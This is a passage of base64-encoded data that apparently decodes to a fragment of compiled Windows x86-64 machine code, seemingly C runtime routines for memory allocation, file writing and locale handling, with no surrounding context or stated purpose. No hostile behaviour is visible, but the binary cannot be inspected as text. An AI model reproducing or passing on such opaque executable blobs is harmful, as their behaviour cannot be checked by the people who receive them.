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dAXo+6X//0iLS3BIOw2M9gAAdAXo6aX//0iLS3hIOw2C9gAAdAXo16X//0iLi4AAAABIOw119gAAdAXowqX//0iLi4gAAABIOw1o9gAAdAXoraX//0iLi5AAAABIOw1b9gAAdAXomKX//0iDxCBbw8zMSIXJdGZTSIPsIEiL2UiLCUg7DaX1AAB0Behypf//SItLCEg7DZv1AAB0Behgpf//SItLEEg7DZH1AAB0BehOpf//SItLWEg7Dcf1AAB0Beg8pf//SItLYEg7Db31AAB0Begqpf//SIPEIFvDSIXJD4TwAwAAU0iD7CBIi9lIi0kI6Aql//9Ii0sQ6AGl//9Ii0sY6Pik//9Ii0sg6O+k//9Ii0so6Oak//9Ii0sw6N2k//9Iiwvo1aT//0iLS0DozKT//0iLS0jow6T//0iLS1DouqT//0iLS1josaT//0iLS2DoqKT//0iLS2jon6T//0iLSzjolqT//0iLS3DojaT//0iLS3johKT//0iLi4AAAADoeKT//0iLi4gAAADobKT//0iLi5AAAADoYKT//0iLi5gAAADoVKT//0iLi6AAAADoSKT//0iLi6gAAADoPKT//0iLi7AAAADoMKT//0iLi7gAAADoJKT//0iLi8AAAADoGKT//0iLi8gAAADoDKT//0iLi9AAAADoAKT//0iLi9gAAADo9KP//0iLi+AAAADo6KP//0iLi+gAAADo3KP//0iLi/AAAADo0KP//0iLi/gAAADoxKP//0iLiwABAADouKP//0iLiwgBAADorKP//0iLixABAADooKP//0iLixgBAADolKP//0iLiyABAADoiKP//0iLiygBAADofKP//0iLizABAADocKP//0iLizgBAADoZKP//0iLi0ABAADoWKP//0iLi0gBAADoTKP//0iLi1ABAADoQKP//0iLi2gBAADoNKP//0iLi3ABAADoKKP//0iLi3gBAADoHKP//0iLi4ABAADoEKP//0iLi4gBAADoBKP//0iLi5ABAADo+KL//0iLi2ABAADo7KL//0iLi6ABAADo4KL//0iLi6gBAADo1KL//0iLi7ABAADoyKL//0iLi7gBAADovKL//0iLi8ABAADosKL//0iLi8gBAADopKL//0iLi5gBAADomKL//0iLi9ABAADojKL//0iLi9gBAADogKL//0iLi+ABAADodKL//0iLi+gBAADoaKL//0iLi/ABAADoXKL//0iLi/gBAADoUKL//0iLiwACAADoRKL//0iLiwgCAADoOKL//0iLixACAADoLKL//0iLixgCAADoIKL//0iLiyACAADoFKL//0iLiygCAADoCKL//0iLizACAADo/KH//0iLizgCAADo8KH//0iLi0ACAADo5KH//0iLi0gCAADo2KH//0iLi1ACAADozKH//0iLi1gCAADowKH//0iLi2ACAADotKH//0iLi2gCAADoqKH//0iLi3ACAADonKH//0iLi3gCAADokKH//0iLi4ACAADohKH//0iLi4gCAADoeKH//0iLi5ACAADobKH//0iLi5gCAADoYKH//0iLi6ACAADoVKH//0iLi6gCAADoSKH//0iLi7ACAADoPKH//0iLi7gCAADoMKH//0iDxCBbw8zMQFVBVEFVQVZBV0iD7FBIjWwkQEiJXUBIiXVISIl9UEiLBe7iAABIM8VIiUUIi11gM/9Ni+FFi+hIiVUAhdt+KkSL00mLwUH/ykA4OHQMSP/ARYXSdfBBg8r/i8NBK8L/yDvDjVgBfAKL2ESLdXiL90WF9nUHSIsBRItwBPedgAAAAESLy02LxBvSQYvOiXwkKIPiCEiJfCQg/8L/FaMxAABMY/iFwHUHM8Dp+QEAAEm48P///////w+FwH5hM9JIjULgSff3SIP4AnJSSo0MfRAAAABIgfkABAAAdypIjUEPSDvBdwNJi8BIg+Dw6MIWAABIK+BIjXwkQEiF/3SpxwfMzAAA6xPoTKH//0iL+EiFwHQKxwDd3QAASIPHEEiF/3SFRIvLTYvEugEAAABBi85EiXwkKEiJfCQg/xUDMQAAhcAPhEwBAABMi2UAIXQkKEghdCQgSYvMRYvPTIvHQYvV6D34//9IY/CFwA+EIwEAAEG4AAQAAEWF6HQ2i01whckPhA0BAAA78Q+PBQEAAEiLRWiJTCQoRYvPTIvHQYvVSYvMSIlEJCDo9vf//+niAAAAhcB+ajPSSI1C4Ej39kiD+AJyW0iNDHUQAAAASTvIdzVIjUEPSDvBdwpIuPD///////8PSIPg8OjFFQAASCvgSI1cJEBIhdsPhJUAAADHA8zMAADrE+hLoP//SIvYSIXAdA7HAN3dAABIg8MQ6wIz20iF23RtRYvPTIvH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